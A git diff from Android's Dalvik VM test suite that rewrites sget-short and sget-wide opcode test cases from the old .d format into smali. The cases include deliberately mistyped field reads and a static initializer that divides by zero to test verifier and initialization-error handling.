diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_9.smalis/StubInitError.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_9.smalis/StubInitError.smali
new file mode 100644
index 0000000..dfc4ade
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_9.smalis/StubInitError.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_short/d/StubInitError;
+.super Ljava/lang/Object;
+.source "StubInitError.java"
+
+
+# static fields
+.field public static value:S
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    const/4 v0, 0x0
+
+    const/4 v1, 0x1
+
+    div-int/2addr v1, v0
+
+    const v1, 0x1
+
+    sput-short v1, Ldot/junit/opcodes/sget_short/d/StubInitError;->value:S
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_9.smalis/T_sget_short_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_9.smalis/T_sget_short_9.smali
new file mode 100644
index 0000000..7e9ee67
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_9.smalis/T_sget_short_9.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_short/d/T_sget_short_9;
+.super Ljava/lang/Object;
+.source "T_sget_short_9.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()S
+    .registers 3
+
+    sget-short v1, Ldot/junit/opcodes/sget_short/d/StubInitError;->value:S
+
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_1.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_1.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_1.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_1.smali
new file mode 100644
index 0000000..6a28b0b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_1.smali
@@ -0,0 +1,63 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_1;
+.super Ljava/lang/Object;
+.source "T_sget_wide_1.java"
+
+
+# static fields
+.field public static i1:J
+
+.field protected static p1:J
+
+.field private static pvt1:J
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    const-wide v0, 0xb3a73dd46cbL
+
+    sput-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_1;->i1:J
+
+    const-wide v0, 0xa
+
+    sput-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_1;->p1:J
+
+    const-wide v0, 0x14
+
+    sput-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_1;->pvt1:J
+
+    return-void
+.end method
+
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()J
+    .registers 3
+
+    sget-wide v1, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_1;->i1:J
+
+    return-wide v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_11.d
deleted file mode 100644
index 3485b03..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_11.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_11
-.super dot/junit/opcodes/sget_wide/d/T_sget_wide_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sget_wide/d/T_sget_wide_1/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-       sget-wide v1, dot.junit.opcodes.sget_wide.d.T_sget_wide_1.p1 J
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_11.smali
new file mode 100644
index 0000000..f053d96
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_11.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_11;
+.super  Ldot/junit/opcodes/sget_wide/d/T_sget_wide_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_1;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       sget-wide v1, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_1;->p1:J
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_12.d
deleted file mode 100644
index 36c4678..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_12.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_12.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_12
-.super dot/junit/opcodes/sget_wide/d/T_sget_wide_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sget_wide/d/T_sget_wide_1/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-       sget-wide v1, dot.junit.opcodes.sget_wide.d.T_sget_wide_1.pvt1 J
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_12.smali
new file mode 100644
index 0000000..214a78b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_12.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_12.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_12;
+.super  Ldot/junit/opcodes/sget_wide/d/T_sget_wide_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_1;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       sget-wide v1, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_1;->pvt1:J
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_13.d
deleted file mode 100644
index 308bdd1e0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_13.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_13
-.super java/lang/Object
-
-.field public static i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-wide v0, dot.junit.opcodes.sget_wide.d.T_sget_wide_13.i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_13.smali
new file mode 100644
index 0000000..f3235d0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_13.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_13;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_13;->i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_14.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_14.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_14.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_14.smali
new file mode 100644
index 0000000..2e44c40
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_14.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_14;
+.super Ljava/lang/Object;
+.source "T_sget_wide_14.java"
+
+
+# static fields
+.field public static i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    sget-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_14;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_15.d
deleted file mode 100644
index 685bf22..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_15.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_15.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_15
-.super java/lang/Object
-
-.field public static i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-wide v0, dot.junit.opcodes.sget_wide.d.T_sget_wide_15.i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_15.smali
new file mode 100644
index 0000000..ea11edc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_15.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_15.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_15;
+.super  Ljava/lang/Object;
+
+.field public static i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_15;->i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_16.d
deleted file mode 100644
index 5548cdc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_16.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_16
-.super java/lang/Object
-
-.field public static i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-wide v0, dot.junit.opcodes.sget_wide.d.T_sget_wide_16.i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_16.smali
new file mode 100644
index 0000000..9efcf92
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_16.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_16;
+.super  Ljava/lang/Object;
+
+.field public static i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_16;->i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_17.d
deleted file mode 100644
index 961c845..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_17.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_17
-.super java/lang/Object
-
-.field public static i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-wide v0, dot.junit.opcodes.sget_wide.d.T_sget_wide_17.i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_17.smali
new file mode 100644
index 0000000..c3579c7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_17.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_17;
+.super  Ljava/lang/Object;
+
+.field public static i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_17;->i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_18.d
deleted file mode 100644
index 8dba06c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_18.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_18.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_18
-.super java/lang/Object
-
-.field public static i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-wide v0, dot.junit.opcodes.sget_wide.d.T_sget_wide_18.i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_18.smali
new file mode 100644
index 0000000..fb8d54e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_18.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_18.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_18;
+.super  Ljava/lang/Object;
+
+.field public static i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_18;->i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_19.d
deleted file mode 100644
index e8d5722..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_19.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_19.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_19
-.super java/lang/Object
-
-.field public static i1 F
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-wide v0, dot.junit.opcodes.sget_wide.d.T_sget_wide_19.i1 F
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_19.smali
new file mode 100644
index 0000000..957591b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_19.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_19.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_19;
+.super  Ljava/lang/Object;
+
+.field public static i1:F
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_19;->i1:F
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_2.d
deleted file mode 100644
index 4e12946..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_2.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_2.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_2
-.super java/lang/Object
-
-.field public static val D
-
-.method static <clinit>()V
-.limit regs 2
-       const-wide v0, 123.0
-       sput-wide v0, dot.junit.opcodes.sget_wide.d.T_sget_wide_2.val D
-       return-void
-.end method
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()D
-.limit regs 4
-
-       sget-wide v1, dot.junit.opcodes.sget_wide.d.T_sget_wide_2.val D
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_2.smali
new file mode 100644
index 0000000..ff08620
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_2.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
